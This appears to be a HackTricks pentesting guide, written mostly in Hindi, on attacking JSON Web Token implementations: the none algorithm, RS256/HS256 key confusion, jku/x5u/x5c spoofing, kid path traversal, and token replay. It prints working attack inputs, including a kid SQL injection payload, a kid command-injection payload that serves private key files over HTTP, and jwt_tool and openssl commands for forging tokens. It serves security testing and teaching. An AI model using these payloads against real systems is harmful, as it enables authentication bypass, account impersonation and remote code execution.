JWT Vulnerabilities (Json Web Tokens)

Reading time: 15 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

इस पोस्ट का एक भाग शानदार पोस्ट पर आधारित है: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTs को pentest करने के लिए महान टूल के लेखक https://github.com/ticarpi/jwt_tool

Quick Wins

Run jwt_tool with mode All Tests! and wait for green lines

bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

यदि आप भाग्यशाली हैं, तो उपकरण कुछ मामलों को खोजेगा जहाँ वेब एप्लिकेशन JWT की गलत जांच कर रहा है:

फिर, आप अपने प्रॉक्सी में अनुरोध को खोज सकते हैं या उस अनुरोध के लिए उपयोग किए गए JWT को jwt_ tool का उपयोग करके डंप कर सकते हैं:

bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

आप Burp Extension SignSaboteur का उपयोग JWT हमलों को Burp से लॉन्च करने के लिए भी कर सकते हैं।

बिना कुछ बदले डेटा को टेम्पर करें

आप बस डेटा के साथ छेड़छाड़ कर सकते हैं और सिग्नेचर को वैसा ही छोड़ सकते हैं और देख सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए, अपने उपयोगकर्ता नाम को "admin" में बदलने की कोशिश करें।

क्या टोकन की जांच की जाती है?

यह जांचने के लिए कि क्या JWT का सिग्नेचर सत्यापित किया जा रहा है:

  • एक त्रुटि संदेश ongoing verification का सुझाव देता है; verbose errors में संवेदनशील विवरण की समीक्षा की जानी चाहिए।
  • लौटाए गए पृष्ठ में परिवर्तन भी सत्यापन का संकेत देता है।
  • कोई परिवर्तन नहीं होने पर कोई सत्यापन नहीं होता; यह तब होता है जब payload claims के साथ छेड़छाड़ करने का प्रयोग किया जाए।

उत्पत्ति

यह निर्धारित करना महत्वपूर्ण है कि क्या टोकन सर्वर-साइड या क्लाइंट-साइड से उत्पन्न हुआ था, प्रॉक्सी के अनुरोध इतिहास की जांच करके।

  • क्लाइंट साइड से पहले देखे गए टोकन सुझाव देते हैं कि कुंजी क्लाइंट-साइड कोड के लिए उजागर हो सकती है, जिसके लिए आगे की जांच की आवश्यकता है।
  • सर्वर-साइड से उत्पन्न टोकन एक सुरक्षित प्रक्रिया को इंगित करते हैं।

अवधि

जांचें कि क्या टोकन 24 घंटे से अधिक समय तक रहता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो जांचें कि क्या सर्वर इसे सही तरीके से संभाल रहा है।

Brute-force HMAC secret

इस पृष्ठ को देखें।

एल्गोरिदम को None में बदलें

उपयोग किए गए एल्गोरिदम को "None" के रूप में सेट करें और सिग्नेचर भाग को हटा दें।

इस भेद्यता को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए Burp एक्सटेंशन "JSON Web Token" का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" में रखने का विकल्प भी चुन सकते हैं)।

एल्गोरिदम RS256 (asymmetric) को HS256 (symmetric) में बदलें (CVE-2016-5431/CVE-2016-10555)

एल्गोरिदम HS256 प्रत्येक संदेश पर हस्ताक्षर करने और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।
एल्गोरिदम RS256 संदेश पर हस्ताक्षर करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।

यदि आप RS256 से HS256 में एल्गोरिदम बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर सिग्नेचर को सत्यापित करने के लिए HS256 एल्गोरिदम का उपयोग करता है।

फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलते हुए, हम एक मान्य सिग्नेचर बना सकते हैं। आप इसे निष्पादित करके वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं:

bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

New public key inside the header

एक हमलावर टोकन के हेडर में एक नया कुंजी एम्बेड करता है और सर्वर इस नए कुंजी का उपयोग सिग्नेचर को सत्यापित करने के लिए करता है (CVE-2018-0114).

यह "JSON Web Tokens" Burp एक्सटेंशन के साथ किया जा सकता है।
(अनुरोध को Repeater में भेजें, JSON Web Token टैब के अंदर "CVE-2018-0114" का चयन करें और अनुरोध भेजें)।

JWKS Spoofing

निर्देश JWT टोकनों की सुरक्षा का आकलन करने के लिए एक विधि का विवरण देते हैं, विशेष रूप से उन टोकनों के लिए जो "jku" हेडर क्लेम का उपयोग करते हैं। यह क्लेम एक JWKS (JSON Web Key Set) फ़ाइल से लिंक होना चाहिए जिसमें टोकन के सत्यापन के लिए आवश्यक सार्वजनिक कुंजी होती है।

  • "jku" हेडर के साथ टोकनों का आकलन:

  • यह सुनिश्चित करने के लिए "jku" क्लेम के URL की सत्यापन करें कि यह उचित JWKS फ़ाइल की ओर ले जाता है।

  • टोकन के "jku" मान को नियंत्रित वेब सेवा की ओर निर्देशित करने के लिए संशोधित करें, जिससे ट्रैफ़िक अवलोकन की अनुमति मिलती है।

  • HTTP इंटरैक्शन की निगरानी:

  • आपके निर्दिष्ट URL पर HTTP अनुरोधों का अवलोकन करना सर्वर के आपके प्रदान किए गए लिंक से कुंजी प्राप्त करने के प्रयासों को इंगित करता है।

  • इस प्रक्रिया के लिए jwt_tool का उपयोग करते समय, परीक्षण को सुविधाजनक बनाने के लिए आपके व्यक्तिगत JWKS स्थान के साथ jwtconf.ini फ़ाइल को अपडेट करना महत्वपूर्ण है।

  • jwt_tool के लिए कमांड:

  • jwt_tool के साथ परिदृश्य का अनुकरण करने के लिए निम्नलिखित कमांड निष्पादित करें:

bash
python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

एक वैकल्पिक हेडर क्लेम जिसे kid कहा जाता है, एक विशिष्ट कुंजी की पहचान के लिए उपयोग किया जाता है, जो उन वातावरणों में विशेष रूप से महत्वपूर्ण होता है जहां टोकन सिग्नेचर सत्यापन के लिए कई कुंजियाँ होती हैं। यह क्लेम एक टोकन के सिग्नेचर को सत्यापित करने के लिए उपयुक्त कुंजी का चयन करने में सहायता करता है।

Revealing Key through "kid"

जब हेडर में kid क्लेम मौजूद होता है, तो संबंधित फ़ाइल या इसके भिन्नताओं के लिए वेब निर्देशिका में खोज करने की सलाह दी जाती है। उदाहरण के लिए, यदि "kid":"key/12345" निर्दिष्ट किया गया है, तो फ़ाइलें /key/12345 और /key/12345.pem को वेब रूट में खोजा जाना चाहिए।

Path Traversal with "kid"

kid क्लेम का उपयोग फ़ाइल सिस्टम के माध्यम से नेविगेट करने के लिए भी किया जा सकता है, जिससे एक मनमाना फ़ाइल का चयन करने की अनुमति मिल सकती है। विशेष फ़ाइलों या सेवाओं को लक्षित करने के लिए kid मान को बदलकर कनेक्टिविटी का परीक्षण करना या सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) हमले करना संभव है। मूल सिग्नेचर को बनाए रखते हुए kid मान को बदलने के लिए JWT के साथ छेड़छाड़ jwt_tool में -T ध्वज का उपयोग करके की जा सकती है, जैसा कि नीचे दिखाया गया है:

bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

फाइलों को लक्षित करके जिनकी सामग्री पूर्वानुमानित होती है, एक मान्य JWT को forge करना संभव है। उदाहरण के लिए, Linux सिस्टम में /proc/sys/kernel/randomize_va_space फाइल, जो 2 मान रखती है, को JWT निर्माण के लिए 2 के रूप में symmetric password के साथ kid पैरामीटर में उपयोग किया जा सकता है।

"kid" के माध्यम से SQL Injection

यदि kid क्लेम की सामग्री का उपयोग किसी डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो kid payload को संशोधित करके SQL injection को सक्षम किया जा सकता है। एक उदाहरण payload जो JWT साइनिंग प्रक्रिया को बदलने के लिए SQL injection का उपयोग करता है, वह है:

non-existent-index' UNION SELECT 'ATTACKER';-- -

यह परिवर्तन JWT साइनिंग के लिए एक ज्ञात गुप्त कुंजी, ATTACKER, के उपयोग को मजबूर करता है।

"kid" के माध्यम से OS Injection

एक परिदृश्य जहां kid पैरामीटर एक फाइल पथ को निर्दिष्ट करता है जो एक कमांड निष्पादन संदर्भ में उपयोग किया जाता है, Remote Code Execution (RCE) कमजोरियों की ओर ले जा सकता है। kid पैरामीटर में कमांड इंजेक्ट करके, निजी कुंजियों को उजागर करना संभव है। RCE और कुंजी उजागर करने के लिए एक उदाहरण payload है:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u और jku

jku

jku का अर्थ है JWK Set URL
यदि टोकन एक “jkuHeader क्लेम का उपयोग करता है तो प्रदान किए गए URL की जांच करें। यह एक URL की ओर इशारा करना चाहिए जिसमें JWKS फाइल हो जो टोकन को सत्यापित करने के लिए Public Key रखती है। टोकन को इस तरह से tamper करें कि jku मान को एक वेब सेवा की ओर इंगित करें जिसे आप ट्रैफ़िक के लिए मॉनिटर कर सकें।

पहले आपको नए निजी और सार्वजनिक कुंजियों के साथ एक नया प्रमाणपत्र बनाना होगा।

bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

फिर आप उदाहरण के लिए jwt.io का उपयोग कर सकते हैं ताकि बनाए गए सार्वजनिक और निजी कुंजियों के साथ नया JWT बनाया जा सके और पैरामीटर jku को बनाए गए प्रमाणपत्र की ओर इंगित किया जा सके। एक मान्य jku प्रमाणपत्र बनाने के लिए, आप मूल प्रमाणपत्र डाउनलोड कर सकते हैं और आवश्यक पैरामीटर बदल सकते हैं।

आप सार्वजनिक प्रमाणपत्र से "e" और "n" पैरामीटर प्राप्त कर सकते हैं:

bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है जो PEM रूप में एन्कोडेड हैं। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT पर हस्ताक्षर करने के लिए किया गया है। इसके बाद के प्रमाणपत्र प्रत्येक पिछले पर हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा की आवश्यकता होती है।

कोशिश करें कि इस हेडर को एक URL में बदलें जो आपके नियंत्रण में हो और जांचें कि क्या कोई अनुरोध प्राप्त होता है। उस मामले में आप JWT को छेड़ सकते हैं

एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए जिसे आप नियंत्रित करते हैं, आपको प्रमाणपत्र बनाना होगा और सार्वजनिक और निजी कुंजियों को निकालना होगा:

bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

फिर आप उदाहरण के लिए jwt.io का उपयोग कर सकते हैं नए JWT को बनाने के लिए जो कि बनाए गए सार्वजनिक और निजी कुंजियों के साथ है और पैरामीटर x5u को बनाए गए प्रमाणपत्र .crt की ओर इंगित करता है।

आप इन दोनों कमजोरियों का भी दुरुपयोग कर सकते हैं SSRFs के लिए

x5c

यह पैरामीटर base64 में प्रमाणपत्र हो सकता है:

यदि हमलावर एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करता है और संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और "x5c" पैरामीटर के मान को नए उत्पन्न प्रमाणपत्र के साथ बदलता है और अन्य पैरामीटर, अर्थात् n, e और x5t को संशोधित करता है, तो मूल रूप से जाली टोकन सर्वर द्वारा स्वीकार किया जाएगा।

bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

यदि JWT में निम्नलिखित परिदृश्य की तरह एक सार्वजनिक कुंजी एम्बेड की गई है:

निम्नलिखित nodejs स्क्रिप्ट का उपयोग करके उस डेटा से एक सार्वजनिक कुंजी उत्पन्न करना संभव है:

bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

नया निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, नए सार्वजनिक कुंजी को टोकन के अंदर एम्बेड करना और इसका उपयोग करके एक नया हस्ताक्षर उत्पन्न करना:

bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

आप इस nodejs स्क्रिप्ट का उपयोग करके "n" और "e" प्राप्त कर सकते हैं:

bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

अंत में, सार्वजनिक और निजी कुंजी और नए "n" और "e" मानों का उपयोग करके आप jwt.io का उपयोग करके किसी भी जानकारी के साथ एक नया मान्य JWT बना सकते हैं।

ES256: समान nonce के साथ निजी कुंजी का खुलासा

यदि कुछ अनुप्रयोग ES256 का उपयोग करते हैं और दो jwts उत्पन्न करने के लिए समान nonce का उपयोग करते हैं, तो निजी कुंजी को पुनर्स्थापित किया जा सकता है।

यहाँ एक उदाहरण है: ECDSA: समान nonce का उपयोग करने पर निजी कुंजी का खुलासा (SECP256k1 के साथ)

JTI (JWT ID)

JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः प्रस्तुत करने से रोकने के लिए किया जा सकता है।
हालांकि, एक स्थिति की कल्पना करें जहाँ ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 समान ID का उपयोग करने जा रहे हैं। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID को बढ़ा रहा है, तो आप इसका दुरुपयोग कर सकते हैं एक अनुरोध को पुनः प्रस्तुत करने के लिए (हर सफल पुनः प्रस्तुत करने के बीच 10000 अनुरोध भेजने की आवश्यकता है)।

JWT पंजीकृत दावे

JSON Web Token (JWT)

अन्य हमले

क्रॉस-सेवा रिले हमले

यह देखा गया है कि कुछ वेब अनुप्रयोग अपने टोकनों के निर्माण और प्रबंधन के लिए एक विश्वसनीय JWT सेवा पर निर्भर करते हैं। ऐसे उदाहरण दर्ज किए गए हैं जहाँ एक ग्राहक के लिए JWT सेवा द्वारा उत्पन्न एक टोकन को उसी JWT सेवा के दूसरे ग्राहक द्वारा स्वीकार किया गया। यदि तीसरे पक्ष की सेवा के माध्यम से JWT का जारी करना या नवीनीकरण देखा जाता है, तो उस सेवा के दूसरे ग्राहक पर उसी उपयोगकर्ता नाम/ईमेल का उपयोग करके एक खाता बनाने की संभावना की जांच की जानी चाहिए। फिर लक्ष्य पर एक अनुरोध में प्राप्त टोकन को पुनः प्रस्तुत करने का प्रयास किया जाना चाहिए यह देखने के लिए कि क्या इसे स्वीकार किया जाता है।

  • आपके टोकन के स्वीकार किए जाने से एक महत्वपूर्ण समस्या का संकेत मिल सकता है, जो किसी भी उपयोगकर्ता के खाते की नकल करने की अनुमति दे सकता है। हालाँकि, यह ध्यान रखना चाहिए कि तीसरे पक्ष के अनुप्रयोग पर साइन अप करने के लिए व्यापक परीक्षण की अनुमति की आवश्यकता हो सकती है, क्योंकि यह एक कानूनी ग्रे क्षेत्र में प्रवेश कर सकता है।

टोकनों की समाप्ति जांच

टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर और पुनः प्रस्तुत करने से उस उपयोगकर्ता का अनुकरण सक्षम हो सकता है। JWT RFC JWT पुनः प्रस्तुत करने के हमलों को कम करने के लिए "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करने की सिफारिश करता है। इसके अलावा, इस मान को संसाधित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः प्रस्तुत करना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, को jwt_tool के -R ध्वज का उपयोग करके पढ़ा जा सकता है।

  • यदि अनुप्रयोग अभी भी टोकन को मान्य करता है, तो एक सुरक्षा जोखिम हो सकता है, क्योंकि इसका अर्थ हो सकता है कि टोकन कभी समाप्त नहीं हो सकता।

उपकरण

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें